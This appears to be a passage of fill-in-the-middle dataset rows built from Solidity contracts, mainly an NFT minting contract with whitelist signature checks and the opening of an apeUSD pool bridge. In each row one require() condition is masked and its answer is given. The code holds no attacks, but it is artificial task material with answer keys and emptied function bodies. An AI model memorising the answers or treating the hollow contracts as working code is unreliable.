*/
function setRaiseTargetPercentage(uint256 _raiseTargetPercentage) external onlyOperator {
}
/**
* @dev OPERATOR ONLY: Updates the bidding permission status for a list of addresses on AuctionRebalanceModuleV1.
* Refer to AuctionRebalanceModuleV1 for function specific restrictions.
*
* @param _bidders An array of addresses whose bidding permission status is to be toggled.
* @param _statuses An array of booleans indicating the new bidding permission status for each corresponding address in `_bidders`.
*/
function setBidderStatus(
address[] memory _bidders,
bool[] memory _statuses
)
external
onlyOperator
{
}
/**
* @dev OPERATOR ONLY: Sets whether anyone can bid on the AuctionRebalanceModuleV1.
* Refer to AuctionRebalanceModuleV1 for function specific restrictions.
*
* @param _status A boolean indicating if anyone can bid.
*/
function setAnyoneBid(bool _status) external onlyOperator {
}
/**
* @dev OPERATOR ONLY: Initializes the AuctionRebalanceModuleV1.
* Refer to AuctionRebalanceModuleV1 for function specific restrictions.
*/
function initialize() external onlyOperator {
}
}
|
currentComponents[i]==_oldComponents[i],"Input old components array must match the current components array."
| 143,284 |
currentComponents[i]==_oldComponents[i]
|
"Invalid Pass"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
/********************
* @author: Techoshi.eth *
<(^_^)>
********************/
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
contract StuffyBunny is Ownable, ERC721, ERC721URIStorage, PaymentSplitter {
using Counters for Counters.Counter;
using ECDSA for bytes32;
using Strings for uint256;
struct user {
address userAddress;
uint8 entries;
bool isExist;
}
// mapping(address => user) public giveAwayAllowance;
// mapping(address => uint256) public giveAwayMints;
// uint16 public remainingReserved;
Counters.Counter private _tokenSupply;
Counters.Counter private _freeSupply;
uint256 public constant MAX_TOKENS = 5000;
uint256 public publicMintMaxLimit = 50;
uint256 public whitelistMintMaxLimit = 50;
uint256 public tokenPrice = 0.09 ether;
uint256 public whitelistTokenPrice = 0.07 ether;
uint256 public maxWhitelistPassMints = 5000;
bool public publicMintIsOpen = false;
bool public privateMintIsOpen = true;
bool public revealed = false;
string _baseTokenURI;
string public baseExtension = ".json";
string public hiddenMetadataUri;
string public collectionHash = "B62528EA-5026B203-AA6365EA-C8E34DC9";
address private _ContractVault = 0x0000000000000000000000000000000000000000;
address private _ClaimsPassSigner =
0x0000000000000000000000000000000000000000;
mapping(address => bool) whitelistedAddresses;
string public Author = "techoshi.eth";
string public ProjectTeam = "nftpumps";
struct WhitelistClaimPass {
bytes32 r;
bytes32 s;
uint8 v;
}
function _isVerifiedWhitelistClaimPass(
bytes32 digest,
WhitelistClaimPass memory whitelistClaimPass
) internal view returns (bool) {
}
modifier isWhitelisted(
uint8 amount,
WhitelistClaimPass memory whitelistClaimPass
) {
bytes32 digest = keccak256(abi.encode(amount, msg.sender));
require(<FILL_ME>)
// 4
_;
}
constructor(
string memory contractName,
string memory contractSymbol,
address _vault,
address _signer,
string memory __baseTokenURI,
string memory _hiddenMetadataUri,
address[] memory _payees,
uint256[] memory _shares
)
payable
ERC721(contractName, contractSymbol)
PaymentSplitter(_payees, _shares)
{
}
function withdraw() external onlyOwner {
}
function whitelistClaimMint(
uint8 quantity, //Whitelist,
uint8 claimable,
WhitelistClaimPass memory whitelistClaimPass
) external payable isWhitelisted(claimable, whitelistClaimPass) {
}
function openMint(uint256 quantity) external payable {
}
function teamMint(address to, uint256 amount) external onlyOwner {
}
function setParams(
uint256 newPrice,
uint256 newWhitelistTokenPrice,
uint256 setOpenMintLimit,
uint256 setWhistlistPassMintLimit,
bool setPublicMintState,
bool setPrivateMintState
) external onlyOwner {
}
function setTransactionMintLimit(uint256 newMintLimit) external onlyOwner {
}
function setCollectionHash(string calldata newHash) external onlyOwner {
}
function setWhitelistTransactionMintLimit(uint256 newprivateMintLimit)
external
onlyOwner
{
}
function setTokenPrice(uint256 newPrice) external onlyOwner {
}
function setFreeMints(uint256 amount) external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function togglePresaleMint() external onlyOwner {
}
function totalSupply() public view returns (uint256) {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function setVaultAddress(address newVault) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
//receive() external payable {}
function setBaseExtension(string memory _baseExtension) public onlyOwner {
}
function _burn(uint256 tokenId)
internal
override(ERC721, ERC721URIStorage)
{
}
function burn(uint256 tokenId) public onlyOwner {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function setRevealed(bool _state) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri)
public
onlyOwner
{
}
function setSignerAddress(address newSigner) external onlyOwner {
}
}
|
_isVerifiedWhitelistClaimPass(digest,whitelistClaimPass),"Invalid Pass"
| 143,316 |
_isVerifiedWhitelistClaimPass(digest,whitelistClaimPass)
|
"Not enough ether sent"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
/********************
* @author: Techoshi.eth *
<(^_^)>
********************/
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
contract StuffyBunny is Ownable, ERC721, ERC721URIStorage, PaymentSplitter {
using Counters for Counters.Counter;
using ECDSA for bytes32;
using Strings for uint256;
struct user {
address userAddress;
uint8 entries;
bool isExist;
}
// mapping(address => user) public giveAwayAllowance;
// mapping(address => uint256) public giveAwayMints;
// uint16 public remainingReserved;
Counters.Counter private _tokenSupply;
Counters.Counter private _freeSupply;
uint256 public constant MAX_TOKENS = 5000;
uint256 public publicMintMaxLimit = 50;
uint256 public whitelistMintMaxLimit = 50;
uint256 public tokenPrice = 0.09 ether;
uint256 public whitelistTokenPrice = 0.07 ether;
uint256 public maxWhitelistPassMints = 5000;
bool public publicMintIsOpen = false;
bool public privateMintIsOpen = true;
bool public revealed = false;
string _baseTokenURI;
string public baseExtension = ".json";
string public hiddenMetadataUri;
string public collectionHash = "B62528EA-5026B203-AA6365EA-C8E34DC9";
address private _ContractVault = 0x0000000000000000000000000000000000000000;
address private _ClaimsPassSigner =
0x0000000000000000000000000000000000000000;
mapping(address => bool) whitelistedAddresses;
string public Author = "techoshi.eth";
string public ProjectTeam = "nftpumps";
struct WhitelistClaimPass {
bytes32 r;
bytes32 s;
uint8 v;
}
function _isVerifiedWhitelistClaimPass(
bytes32 digest,
WhitelistClaimPass memory whitelistClaimPass
) internal view returns (bool) {
}
modifier isWhitelisted(
uint8 amount,
WhitelistClaimPass memory whitelistClaimPass
) {
}
constructor(
string memory contractName,
string memory contractSymbol,
address _vault,
address _signer,
string memory __baseTokenURI,
string memory _hiddenMetadataUri,
address[] memory _payees,
uint256[] memory _shares
)
payable
ERC721(contractName, contractSymbol)
PaymentSplitter(_payees, _shares)
{
}
function withdraw() external onlyOwner {
}
function whitelistClaimMint(
uint8 quantity, //Whitelist,
uint8 claimable,
WhitelistClaimPass memory whitelistClaimPass
) external payable isWhitelisted(claimable, whitelistClaimPass) {
require(<FILL_ME>)
uint256 supply = _tokenSupply.current();
require(privateMintIsOpen == true, "Claim Mint Closed");
require(
quantity + (supply - 1) <= MAX_TOKENS,
"Not enough tokens remaining"
);
require(
quantity <= claimable,
"Mint quantity can't be greater than claimable"
);
require(quantity > 0, "Mint quantity must be greater than zero");
require(quantity <= whitelistMintMaxLimit, "Mint quantity too large");
require(
_freeSupply.current() + quantity <= maxWhitelistPassMints,
"Not enough free mints remaining"
);
// giveAwayMints[msg.sender] += quantity;
for (uint256 i = 0; i < quantity; i++) {
_tokenSupply.increment();
_freeSupply.increment();
_safeMint(msg.sender, supply + i);
}
}
function openMint(uint256 quantity) external payable {
}
function teamMint(address to, uint256 amount) external onlyOwner {
}
function setParams(
uint256 newPrice,
uint256 newWhitelistTokenPrice,
uint256 setOpenMintLimit,
uint256 setWhistlistPassMintLimit,
bool setPublicMintState,
bool setPrivateMintState
) external onlyOwner {
}
function setTransactionMintLimit(uint256 newMintLimit) external onlyOwner {
}
function setCollectionHash(string calldata newHash) external onlyOwner {
}
function setWhitelistTransactionMintLimit(uint256 newprivateMintLimit)
external
onlyOwner
{
}
function setTokenPrice(uint256 newPrice) external onlyOwner {
}
function setFreeMints(uint256 amount) external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function togglePresaleMint() external onlyOwner {
}
function totalSupply() public view returns (uint256) {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function setVaultAddress(address newVault) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
//receive() external payable {}
function setBaseExtension(string memory _baseExtension) public onlyOwner {
}
function _burn(uint256 tokenId)
internal
override(ERC721, ERC721URIStorage)
{
}
function burn(uint256 tokenId) public onlyOwner {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function setRevealed(bool _state) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri)
public
onlyOwner
{
}
function setSignerAddress(address newSigner) external onlyOwner {
}
}
|
whitelistTokenPrice*quantity<=msg.value,"Not enough ether sent"
| 143,316 |
whitelistTokenPrice*quantity<=msg.value
|
"Not enough tokens remaining"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
/********************
* @author: Techoshi.eth *
<(^_^)>
********************/
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
contract StuffyBunny is Ownable, ERC721, ERC721URIStorage, PaymentSplitter {
using Counters for Counters.Counter;
using ECDSA for bytes32;
using Strings for uint256;
struct user {
address userAddress;
uint8 entries;
bool isExist;
}
// mapping(address => user) public giveAwayAllowance;
// mapping(address => uint256) public giveAwayMints;
// uint16 public remainingReserved;
Counters.Counter private _tokenSupply;
Counters.Counter private _freeSupply;
uint256 public constant MAX_TOKENS = 5000;
uint256 public publicMintMaxLimit = 50;
uint256 public whitelistMintMaxLimit = 50;
uint256 public tokenPrice = 0.09 ether;
uint256 public whitelistTokenPrice = 0.07 ether;
uint256 public maxWhitelistPassMints = 5000;
bool public publicMintIsOpen = false;
bool public privateMintIsOpen = true;
bool public revealed = false;
string _baseTokenURI;
string public baseExtension = ".json";
string public hiddenMetadataUri;
string public collectionHash = "B62528EA-5026B203-AA6365EA-C8E34DC9";
address private _ContractVault = 0x0000000000000000000000000000000000000000;
address private _ClaimsPassSigner =
0x0000000000000000000000000000000000000000;
mapping(address => bool) whitelistedAddresses;
string public Author = "techoshi.eth";
string public ProjectTeam = "nftpumps";
struct WhitelistClaimPass {
bytes32 r;
bytes32 s;
uint8 v;
}
function _isVerifiedWhitelistClaimPass(
bytes32 digest,
WhitelistClaimPass memory whitelistClaimPass
) internal view returns (bool) {
}
modifier isWhitelisted(
uint8 amount,
WhitelistClaimPass memory whitelistClaimPass
) {
}
constructor(
string memory contractName,
string memory contractSymbol,
address _vault,
address _signer,
string memory __baseTokenURI,
string memory _hiddenMetadataUri,
address[] memory _payees,
uint256[] memory _shares
)
payable
ERC721(contractName, contractSymbol)
PaymentSplitter(_payees, _shares)
{
}
function withdraw() external onlyOwner {
}
function whitelistClaimMint(
uint8 quantity, //Whitelist,
uint8 claimable,
WhitelistClaimPass memory whitelistClaimPass
) external payable isWhitelisted(claimable, whitelistClaimPass) {
require(
whitelistTokenPrice * quantity <= msg.value,
"Not enough ether sent"
);
uint256 supply = _tokenSupply.current();
require(privateMintIsOpen == true, "Claim Mint Closed");
require(<FILL_ME>)
require(
quantity <= claimable,
"Mint quantity can't be greater than claimable"
);
require(quantity > 0, "Mint quantity must be greater than zero");
require(quantity <= whitelistMintMaxLimit, "Mint quantity too large");
require(
_freeSupply.current() + quantity <= maxWhitelistPassMints,
"Not enough free mints remaining"
);
// giveAwayMints[msg.sender] += quantity;
for (uint256 i = 0; i < quantity; i++) {
_tokenSupply.increment();
_freeSupply.increment();
_safeMint(msg.sender, supply + i);
}
}
function openMint(uint256 quantity) external payable {
}
function teamMint(address to, uint256 amount) external onlyOwner {
}
function setParams(
uint256 newPrice,
uint256 newWhitelistTokenPrice,
uint256 setOpenMintLimit,
uint256 setWhistlistPassMintLimit,
bool setPublicMintState,
bool setPrivateMintState
) external onlyOwner {
}
function setTransactionMintLimit(uint256 newMintLimit) external onlyOwner {
}
function setCollectionHash(string calldata newHash) external onlyOwner {
}
function setWhitelistTransactionMintLimit(uint256 newprivateMintLimit)
external
onlyOwner
{
}
function setTokenPrice(uint256 newPrice) external onlyOwner {
}
function setFreeMints(uint256 amount) external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function togglePresaleMint() external onlyOwner {
}
function totalSupply() public view returns (uint256) {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function setVaultAddress(address newVault) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
//receive() external payable {}
function setBaseExtension(string memory _baseExtension) public onlyOwner {
}
function _burn(uint256 tokenId)
internal
override(ERC721, ERC721URIStorage)
{
}
function burn(uint256 tokenId) public onlyOwner {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function setRevealed(bool _state) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri)
public
onlyOwner
{
}
function setSignerAddress(address newSigner) external onlyOwner {
}
}
|
quantity+(supply-1)<=MAX_TOKENS,"Not enough tokens remaining"
| 143,316 |
quantity+(supply-1)<=MAX_TOKENS
|
"Not enough free mints remaining"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
/********************
* @author: Techoshi.eth *
<(^_^)>
********************/
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
contract StuffyBunny is Ownable, ERC721, ERC721URIStorage, PaymentSplitter {
using Counters for Counters.Counter;
using ECDSA for bytes32;
using Strings for uint256;
struct user {
address userAddress;
uint8 entries;
bool isExist;
}
// mapping(address => user) public giveAwayAllowance;
// mapping(address => uint256) public giveAwayMints;
// uint16 public remainingReserved;
Counters.Counter private _tokenSupply;
Counters.Counter private _freeSupply;
uint256 public constant MAX_TOKENS = 5000;
uint256 public publicMintMaxLimit = 50;
uint256 public whitelistMintMaxLimit = 50;
uint256 public tokenPrice = 0.09 ether;
uint256 public whitelistTokenPrice = 0.07 ether;
uint256 public maxWhitelistPassMints = 5000;
bool public publicMintIsOpen = false;
bool public privateMintIsOpen = true;
bool public revealed = false;
string _baseTokenURI;
string public baseExtension = ".json";
string public hiddenMetadataUri;
string public collectionHash = "B62528EA-5026B203-AA6365EA-C8E34DC9";
address private _ContractVault = 0x0000000000000000000000000000000000000000;
address private _ClaimsPassSigner =
0x0000000000000000000000000000000000000000;
mapping(address => bool) whitelistedAddresses;
string public Author = "techoshi.eth";
string public ProjectTeam = "nftpumps";
struct WhitelistClaimPass {
bytes32 r;
bytes32 s;
uint8 v;
}
function _isVerifiedWhitelistClaimPass(
bytes32 digest,
WhitelistClaimPass memory whitelistClaimPass
) internal view returns (bool) {
}
modifier isWhitelisted(
uint8 amount,
WhitelistClaimPass memory whitelistClaimPass
) {
}
constructor(
string memory contractName,
string memory contractSymbol,
address _vault,
address _signer,
string memory __baseTokenURI,
string memory _hiddenMetadataUri,
address[] memory _payees,
uint256[] memory _shares
)
payable
ERC721(contractName, contractSymbol)
PaymentSplitter(_payees, _shares)
{
}
function withdraw() external onlyOwner {
}
function whitelistClaimMint(
uint8 quantity, //Whitelist,
uint8 claimable,
WhitelistClaimPass memory whitelistClaimPass
) external payable isWhitelisted(claimable, whitelistClaimPass) {
require(
whitelistTokenPrice * quantity <= msg.value,
"Not enough ether sent"
);
uint256 supply = _tokenSupply.current();
require(privateMintIsOpen == true, "Claim Mint Closed");
require(
quantity + (supply - 1) <= MAX_TOKENS,
"Not enough tokens remaining"
);
require(
quantity <= claimable,
"Mint quantity can't be greater than claimable"
);
require(quantity > 0, "Mint quantity must be greater than zero");
require(quantity <= whitelistMintMaxLimit, "Mint quantity too large");
require(<FILL_ME>)
// giveAwayMints[msg.sender] += quantity;
for (uint256 i = 0; i < quantity; i++) {
_tokenSupply.increment();
_freeSupply.increment();
_safeMint(msg.sender, supply + i);
}
}
function openMint(uint256 quantity) external payable {
}
function teamMint(address to, uint256 amount) external onlyOwner {
}
function setParams(
uint256 newPrice,
uint256 newWhitelistTokenPrice,
uint256 setOpenMintLimit,
uint256 setWhistlistPassMintLimit,
bool setPublicMintState,
bool setPrivateMintState
) external onlyOwner {
}
function setTransactionMintLimit(uint256 newMintLimit) external onlyOwner {
}
function setCollectionHash(string calldata newHash) external onlyOwner {
}
function setWhitelistTransactionMintLimit(uint256 newprivateMintLimit)
external
onlyOwner
{
}
function setTokenPrice(uint256 newPrice) external onlyOwner {
}
function setFreeMints(uint256 amount) external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function togglePresaleMint() external onlyOwner {
}
function totalSupply() public view returns (uint256) {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function setVaultAddress(address newVault) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
//receive() external payable {}
function setBaseExtension(string memory _baseExtension) public onlyOwner {
}
function _burn(uint256 tokenId)
internal
override(ERC721, ERC721URIStorage)
{
}
function burn(uint256 tokenId) public onlyOwner {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function setRevealed(bool _state) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri)
public
onlyOwner
{
}
function setSignerAddress(address newSigner) external onlyOwner {
}
}
|
_freeSupply.current()+quantity<=maxWhitelistPassMints,"Not enough free mints remaining"
| 143,316 |
_freeSupply.current()+quantity<=maxWhitelistPassMints
|
"Not enough ether sent"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
/********************
* @author: Techoshi.eth *
<(^_^)>
********************/
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
contract StuffyBunny is Ownable, ERC721, ERC721URIStorage, PaymentSplitter {
using Counters for Counters.Counter;
using ECDSA for bytes32;
using Strings for uint256;
struct user {
address userAddress;
uint8 entries;
bool isExist;
}
// mapping(address => user) public giveAwayAllowance;
// mapping(address => uint256) public giveAwayMints;
// uint16 public remainingReserved;
Counters.Counter private _tokenSupply;
Counters.Counter private _freeSupply;
uint256 public constant MAX_TOKENS = 5000;
uint256 public publicMintMaxLimit = 50;
uint256 public whitelistMintMaxLimit = 50;
uint256 public tokenPrice = 0.09 ether;
uint256 public whitelistTokenPrice = 0.07 ether;
uint256 public maxWhitelistPassMints = 5000;
bool public publicMintIsOpen = false;
bool public privateMintIsOpen = true;
bool public revealed = false;
string _baseTokenURI;
string public baseExtension = ".json";
string public hiddenMetadataUri;
string public collectionHash = "B62528EA-5026B203-AA6365EA-C8E34DC9";
address private _ContractVault = 0x0000000000000000000000000000000000000000;
address private _ClaimsPassSigner =
0x0000000000000000000000000000000000000000;
mapping(address => bool) whitelistedAddresses;
string public Author = "techoshi.eth";
string public ProjectTeam = "nftpumps";
struct WhitelistClaimPass {
bytes32 r;
bytes32 s;
uint8 v;
}
function _isVerifiedWhitelistClaimPass(
bytes32 digest,
WhitelistClaimPass memory whitelistClaimPass
) internal view returns (bool) {
}
modifier isWhitelisted(
uint8 amount,
WhitelistClaimPass memory whitelistClaimPass
) {
}
constructor(
string memory contractName,
string memory contractSymbol,
address _vault,
address _signer,
string memory __baseTokenURI,
string memory _hiddenMetadataUri,
address[] memory _payees,
uint256[] memory _shares
)
payable
ERC721(contractName, contractSymbol)
PaymentSplitter(_payees, _shares)
{
}
function withdraw() external onlyOwner {
}
function whitelistClaimMint(
uint8 quantity, //Whitelist,
uint8 claimable,
WhitelistClaimPass memory whitelistClaimPass
) external payable isWhitelisted(claimable, whitelistClaimPass) {
}
function openMint(uint256 quantity) external payable {
require(<FILL_ME>)
uint256 supply = _tokenSupply.current();
require(publicMintIsOpen == true, "Public Mint Closed");
require(quantity <= publicMintMaxLimit, "Mint amount too large");
require(
quantity + (supply - 1) <= MAX_TOKENS,
"Not enough tokens remaining"
);
for (uint256 i = 0; i < quantity; i++) {
_tokenSupply.increment();
_safeMint(msg.sender, supply + i);
}
}
function teamMint(address to, uint256 amount) external onlyOwner {
}
function setParams(
uint256 newPrice,
uint256 newWhitelistTokenPrice,
uint256 setOpenMintLimit,
uint256 setWhistlistPassMintLimit,
bool setPublicMintState,
bool setPrivateMintState
) external onlyOwner {
}
function setTransactionMintLimit(uint256 newMintLimit) external onlyOwner {
}
function setCollectionHash(string calldata newHash) external onlyOwner {
}
function setWhitelistTransactionMintLimit(uint256 newprivateMintLimit)
external
onlyOwner
{
}
function setTokenPrice(uint256 newPrice) external onlyOwner {
}
function setFreeMints(uint256 amount) external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function togglePresaleMint() external onlyOwner {
}
function totalSupply() public view returns (uint256) {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function setVaultAddress(address newVault) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
//receive() external payable {}
function setBaseExtension(string memory _baseExtension) public onlyOwner {
}
function _burn(uint256 tokenId)
internal
override(ERC721, ERC721URIStorage)
{
}
function burn(uint256 tokenId) public onlyOwner {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function setRevealed(bool _state) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri)
public
onlyOwner
{
}
function setSignerAddress(address newSigner) external onlyOwner {
}
}
|
tokenPrice*quantity<=msg.value,"Not enough ether sent"
| 143,316 |
tokenPrice*quantity<=msg.value
|
"Not enough tokens remaining"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
/********************
* @author: Techoshi.eth *
<(^_^)>
********************/
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
contract StuffyBunny is Ownable, ERC721, ERC721URIStorage, PaymentSplitter {
using Counters for Counters.Counter;
using ECDSA for bytes32;
using Strings for uint256;
struct user {
address userAddress;
uint8 entries;
bool isExist;
}
// mapping(address => user) public giveAwayAllowance;
// mapping(address => uint256) public giveAwayMints;
// uint16 public remainingReserved;
Counters.Counter private _tokenSupply;
Counters.Counter private _freeSupply;
uint256 public constant MAX_TOKENS = 5000;
uint256 public publicMintMaxLimit = 50;
uint256 public whitelistMintMaxLimit = 50;
uint256 public tokenPrice = 0.09 ether;
uint256 public whitelistTokenPrice = 0.07 ether;
uint256 public maxWhitelistPassMints = 5000;
bool public publicMintIsOpen = false;
bool public privateMintIsOpen = true;
bool public revealed = false;
string _baseTokenURI;
string public baseExtension = ".json";
string public hiddenMetadataUri;
string public collectionHash = "B62528EA-5026B203-AA6365EA-C8E34DC9";
address private _ContractVault = 0x0000000000000000000000000000000000000000;
address private _ClaimsPassSigner =
0x0000000000000000000000000000000000000000;
mapping(address => bool) whitelistedAddresses;
string public Author = "techoshi.eth";
string public ProjectTeam = "nftpumps";
struct WhitelistClaimPass {
bytes32 r;
bytes32 s;
uint8 v;
}
function _isVerifiedWhitelistClaimPass(
bytes32 digest,
WhitelistClaimPass memory whitelistClaimPass
) internal view returns (bool) {
}
modifier isWhitelisted(
uint8 amount,
WhitelistClaimPass memory whitelistClaimPass
) {
}
constructor(
string memory contractName,
string memory contractSymbol,
address _vault,
address _signer,
string memory __baseTokenURI,
string memory _hiddenMetadataUri,
address[] memory _payees,
uint256[] memory _shares
)
payable
ERC721(contractName, contractSymbol)
PaymentSplitter(_payees, _shares)
{
}
function withdraw() external onlyOwner {
}
function whitelistClaimMint(
uint8 quantity, //Whitelist,
uint8 claimable,
WhitelistClaimPass memory whitelistClaimPass
) external payable isWhitelisted(claimable, whitelistClaimPass) {
}
function openMint(uint256 quantity) external payable {
}
function teamMint(address to, uint256 amount) external onlyOwner {
uint256 supply = _tokenSupply.current();
require(<FILL_ME>)
for (uint256 i = 0; i < amount; i++) {
_tokenSupply.increment();
_safeMint(to, supply + i);
}
}
function setParams(
uint256 newPrice,
uint256 newWhitelistTokenPrice,
uint256 setOpenMintLimit,
uint256 setWhistlistPassMintLimit,
bool setPublicMintState,
bool setPrivateMintState
) external onlyOwner {
}
function setTransactionMintLimit(uint256 newMintLimit) external onlyOwner {
}
function setCollectionHash(string calldata newHash) external onlyOwner {
}
function setWhitelistTransactionMintLimit(uint256 newprivateMintLimit)
external
onlyOwner
{
}
function setTokenPrice(uint256 newPrice) external onlyOwner {
}
function setFreeMints(uint256 amount) external onlyOwner {
}
function togglePublicMint() external onlyOwner {
}
function togglePresaleMint() external onlyOwner {
}
function totalSupply() public view returns (uint256) {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function setVaultAddress(address newVault) external onlyOwner {
}
function _baseURI() internal view override returns (string memory) {
}
//receive() external payable {}
function setBaseExtension(string memory _baseExtension) public onlyOwner {
}
function _burn(uint256 tokenId)
internal
override(ERC721, ERC721URIStorage)
{
}
function burn(uint256 tokenId) public onlyOwner {
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function setRevealed(bool _state) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri)
public
onlyOwner
{
}
function setSignerAddress(address newSigner) external onlyOwner {
}
}
|
(supply-1)+amount<=MAX_TOKENS,"Not enough tokens remaining"
| 143,316 |
(supply-1)+amount<=MAX_TOKENS
|
"mismatch underlying"
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./interfaces/IApeToken.sol";
contract Bridge is Ownable, Pausable {
using SafeERC20 for IERC20;
IERC20 public immutable apeUSD;
IApeToken public immutable mainPool;
mapping(IApeToken => bool) public isPool;
IApeToken[] public allPools;
address public guardian;
event PoolAdded(address pool);
event PoolRemoved(address pool);
event Bridged(address fromPool, address toPool, uint256 amount);
event GuardianSet(address guardian);
event TokenSeized(address token, uint256 amount);
modifier onlyGuardian() {
}
constructor(IERC20 _apeUSD, IApeToken _mainPool) {
require(<FILL_ME>)
apeUSD = _apeUSD;
mainPool = _mainPool;
isPool[_mainPool] = true;
allPools.push(_mainPool);
}
/* ========== VIEW FUNCTIONS ========== */
/**
* @notice Get all pools including the main pool.
*/
function getAllPools() public view returns (IApeToken[] memory) {
}
/**
* @notice Get apeUSD borrow balance from the main pool.
*/
function getBorrowBalance() public view returns (uint256) {
}
/**
* @notice Get apeUSD supply balance in apeUSD of a sub pool.
* @param pool The pool address
*/
function getSupplyBalance(IApeToken pool) public view returns (uint256) {
}
/**
* @notice Get all apeUSD supply balance in apeUSD accross all pools.
*/
function getAllSupplyBalance() public view returns (uint256) {
}
/* ========== RESTRICTED FUNCTIONS ========== */
/**
* @notice Add sub pools.
* @param pools The pool addresses
*/
function addPools(IApeToken[] calldata pools) external onlyOwner {
}
/**
* @notice Remove sub pools.
* @param pools The pool addresses
*/
function removePools(IApeToken[] calldata pools) external onlyOwner {
}
/**
* @notice Bridge apeUSD from main pool to sub pool.
* @param pool The sub pool address
* @param amount The amount
*/
function bridgeToSubPool(IApeToken pool, uint256 amount)
external
onlyOwner
whenNotPaused
{
}
/**
* @notice Bridge apeUSD from sub pool to main pool.
* @param pool The sub pool address
* @param amount The amount
*/
function bridgeFromSubPool(IApeToken pool, uint256 amount)
external
onlyOwner
whenNotPaused
{
}
/**
* @notice Set guardian.
* @param _guardian The guardian address
*/
function setGuardian(address _guardian) external onlyOwner {
}
/**
* @notice Seize tokens.
* @param token The token address
*/
function seize(IERC20 token) external onlyGuardian {
}
/**
* @notice Pause bridging.
*/
function pause() external onlyGuardian {
}
/**
* @notice Unause bridging.
*/
function unpause() external onlyGuardian {
}
/* ========== INTERNAL FUNCTIONS ========== */
function removePool(IApeToken pool) internal {
}
function repay(uint256 amount) internal {
}
}
|
_mainPool.underlying()==address(_apeUSD),"mismatch underlying"
| 143,329 |
_mainPool.underlying()==address(_apeUSD)
|
"pool already added"
|
